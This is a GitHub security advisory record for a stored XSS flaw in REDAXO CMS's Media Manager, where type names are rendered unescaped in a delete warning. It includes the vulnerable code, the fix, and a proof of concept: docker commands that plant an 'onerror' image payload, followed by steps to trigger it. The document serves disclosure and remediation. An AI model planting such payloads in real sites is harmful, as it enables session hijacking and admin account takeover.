{"id":"GHSA-mf2p-wjp4-99pq","summary":"REDAXO: Stored XSS via Unescaped Media Manager Type Name in `mediaIsInUse()`","details":"### Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in REDAXO CMS 5.x. When an administrator attempts to delete a media file that is referenced by a Media Manager effect, the warning message rendered in the backend includes the type's `name` field without HTML escaping. An attacker with access to the Media Manager addon can store an XSS payload as a type name; the payload executes in the browser of any administrator who subsequently tries to delete a media file linked to that type's effects. This can lead to session hijacking and full backend account takeover.\n\n---\n\n### Details\n\n**File:** `redaxo/src/addons/media_manager/lib/media_manager.php`\n**Function:** `mediaIsInUse()` — registered on the `MEDIA_IS_IN_USE` extension point in `boot.php`\n\nWhen `rex_media_service::deleteMedia()` is called, it invokes `rex_mediapool::mediaIsInUse($filename)`, which fires the `MEDIA_IS_IN_USE` extension point. The media_manager addon's handler queries all effects whose `parameters` JSON contains the filename, then constructs an HTML anchor with the type name inserted verbatim:\n\n```php\n// media_manager.php ~line 457  ← VULNERABLE\n$message = '\u003ca href=\"javascript:openPage(\\'' . rex_url::backendPage(...) . '\\')\"\u003e'\n    . rex_i18n::msg('media_manager') . ' '\n    . rex_i18n::msg('media_manager_effect_name') . ': '\n    . (string) $sql-\u003egetValue('name')   // ← NO rex_escape() call\n    . '\u003c/a\u003e';\n```\n\nThe returned `$message` string is concatenated into the exception message thrown by `deleteMedia()` and rendered by `rex_view::error()` as raw HTML.\n\n**Contrast with the correct pattern used elsewhere in the same addon:**\n\n```php\n// types.php line 91  ← CORRECT\n$name = '\u003cb\u003e' . rex_escape($list-\u003egetValue('name')) . '\u003c/b\u003e';\n```\n\n**Input validation gap:** `types.php` line 200 validates the type name with the rule `NOT_MATCH '{[/\\\\]}'`, which blocks `{`, `/`, and `\\` but permits `\u003c`, `\u003e`, `\"`, `'`, and `&` — all characters required to inject HTML.\n\n---\n\n### PoC\n\n\n\u003cimg width=\"2074\" height=\"1720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/207f85d3-f4e2-4828-9211-8da36ec9c43d\" /\u003e\n\n\n**Test environment:** REDAXO 5.x running at `http://localhost/`\n**Account required:** Any REDAXO backend administrator\n**Test credentials:** username `admin` / password `Admin12345!`\n\n#### Step 1 — Seed test data directly into the database (single CMD command)\n\n```cmd\ndocker exec -i 34--core-5x-redaxo-1 php -r \"$p=new PDO('mysql:host=db;dbname=redaxo','redaxo','redaxo');$p-\u003eexec(\\\"INSERT IGNORE INTO rex_media(category_id,attributes,filetype,filename,originalname,filesize,width,height,title,createdate,createuser,updatedate,updateuser) VALUES(0,'','image/jpeg','xss_test.jpg','xss_test.jpg',284,1,1,'XSS Test',NOW(),'admin',NOW(),'admin')\\\");$tid=$p-\u003equery(\\\"SELECT id FROM rex_media_manager_type WHERE name='\u003cimg src=x onerror=alert(document.domain)\u003e'\\\")-\u003efetchColumn();if(!$tid){$p-\u003eprepare(\\\"INSERT INTO rex_media_manager_type(status,name,description,createdate,createuser,updatedate,updateuser) VALUES(1,?,'poc',NOW(),'admin',NOW(),'admin')\\\")-\u003eexecute(['\u003cimg src=x onerror=alert(document.domain)\u003e']);$tid=$p-\u003elastInsertId();}$p-\u003eprepare(\\\"INSERT IGNORE INTO rex_media_manager_type_effect(type_id,effect,parameters,priority,createdate,createuser,updatedate,updateuser) VALUES(?,'watermark',?,1,NOW(),'admin',NOW(),'admin')\\\")-\u003eexecute([$tid,json_encode(['rex_effect_watermark'=\u003e['watermark_image'=\u003e'xss_test.jpg']])]);echo \\\"OK type_id=$tid\\n\\\";\"\n```\n\n#### Step 2 — Place a 1×1 JPEG in the media directory\n\n```cmd\ndocker exec 34--core-5x-redaxo-1 sh -c \"printf '\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xdb\\x00C\\x00\\x08\\x06\\x06\\x07\\x06\\x05\\x08\\x07\\x07\\x07\\t\\t\\x08\\n\\x0c\\x14\\r\\x0c\\x0b\\x0b\\x0c\\x19\\x12\\x13\\x0f\\x14\\x1d\\x1a\\x1f\\x1e\\x1d\\x1a\\x1c\\x1c $.\\' \\\",#\\x1c\\x1c(7),01444\\x1f\\x27=82\u003c.342\\x1e\u003e\\x1b\\x1b123\\x1e4\\x1c\\x1f\\xff\\xc0\\x00\\x0b\\x08\\x00\\x01\\x00\\x01\\x01\\x01\\x11\\x00\\xff\\xc4\\x00\\x1f\\x00\\x00\\x01\\x05\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x00?\\x00\\xf5\\x00\\xff\\xd9' \u003e /var/www/html/media/xss_test.jpg\"\n```\n\n#### Step 3 — Login to the backend\n\nOpen a browser and navigate to:\n\n```\nhttp://localhost/redaxo/index.php\n```\n\nLogin with: **admin** / **Admin12345!**\n\n#### Step 4 — Trigger the XSS\n\nNavigate to the media file detail page:\n\n```\nhttp://localhost/redaxo/index.php?page=mediapool/media&file_id=1\n```\n\nClick the **Delete** button. REDAXO checks whether the file is in use, finds the Watermark effect whose `parameters` JSON references `xss_test.jpg`, and renders the type name in the warning HTML without escaping.\n\n**Result:** The browser executes `\u003cimg src=x onerror=alert(document.domain)\u003e` and an alert dialog showing the current domain appears immediately.\n\n---\n\n### Impact\n\n**Vulnerability type:** Stored Cross-Site Scripting (Stored XSS)\n\n**Who is impacted:**\nAny backend administrator who attempts to delete a media file that is referenced by a Media Manager effect. A malicious administrator (or an attacker who has compromised any admin account) can pre-plant a payload in a type name. All other administrators who later try to delete affected media files will have the payload executed in their browser sessions.\n\n**Exploitability:**\n- Privilege required to plant: Administrator (access to Media Manager addon)\n- Privilege required to trigger: Administrator (access to Mediapool)\n- User interaction required: Victim must click \"Delete\" on a media file\n\n**Realistic attack scenarios:**\n- Session cookie theft via `document.cookie` exfiltration (leads to full account takeover)\n- Credential harvesting by dynamically replacing the login form\n- CSRF-token extraction to perform authenticated actions on behalf of the victim\n\n---\n\n### Fix\n\nApply `rex_escape()` to the type name before concatenating it into the HTML anchor:\n\n```php\n// media_manager.php — apply rex_escape() to the name value\n$message = '\u003ca href=\"javascript:openPage(\\'' . rex_url::backendPage(...) . '\\')\"\u003e'\n    . rex_i18n::msg('media_manager') . ' '\n    . rex_i18n::msg('media_manager_effect_name') . ': '\n    . rex_escape((string) $sql-\u003egetValue('name'))   // ← ADD rex_escape()\n    . '\u003c/a\u003e';\n```","aliases":["CVE-2026-63001"],"modified":"2026-09-23T14:15:04.450222498Z","published":"2026-09-23T14:04:40Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-23T14:04:40Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/redaxo/core/security/advisories/GHSA-mf2p-wjp4-99pq"},{"type":"WEB","url":"https://github.com/redaxo/core/pull/6581"},{"type":"WEB","url":"https://github.com/redaxo/core/commit/2daaa3a30570bc76a82f63fd21fb8c9c2cd5dc7c"},{"type":"PACKAGE","url":"https://github.com/redaxo/core"},{"type":"WEB","url":"https://github.com/redaxo/core/releases/tag/5.21.2"}],"affected":[{"package":{"name":"redaxo/source","ecosystem":"Packagist","purl":"pkg:composer/redaxo/source"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.21.2"}]}],"versions":["5.10.0","5.10.0-beta1","5.10.0-beta2","5.10.1","5.11.0","5.11.0-beta1","5.11.1","5.11.2","5.12.0","5.12.0-beta1","5.12.0-beta2","5.12.0-beta3","5.12.1","5.13.0","5.13.0-beta1","5.13.0-beta2","5.13.1","5.13.2","5.13.3","5.14.0","5.14.0-beta1","5.14.0-beta2","5.14.1","5.14.2","5.14.3","5.15.0","5.15.0-beta1","5.15.1","5.16.0","5.16.0-beta1","5.16.1","5.17.0","5.17.1","5.18.0","5.18.1","5.18.2","5.18.3","5.19.0","5.20.0","5.20.1","5.20.2","5.21.0","5.21.0-beta1","5.21.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.21.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-mf2p-wjp4-99pq/GHSA-mf2p-wjp4-99pq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"}]}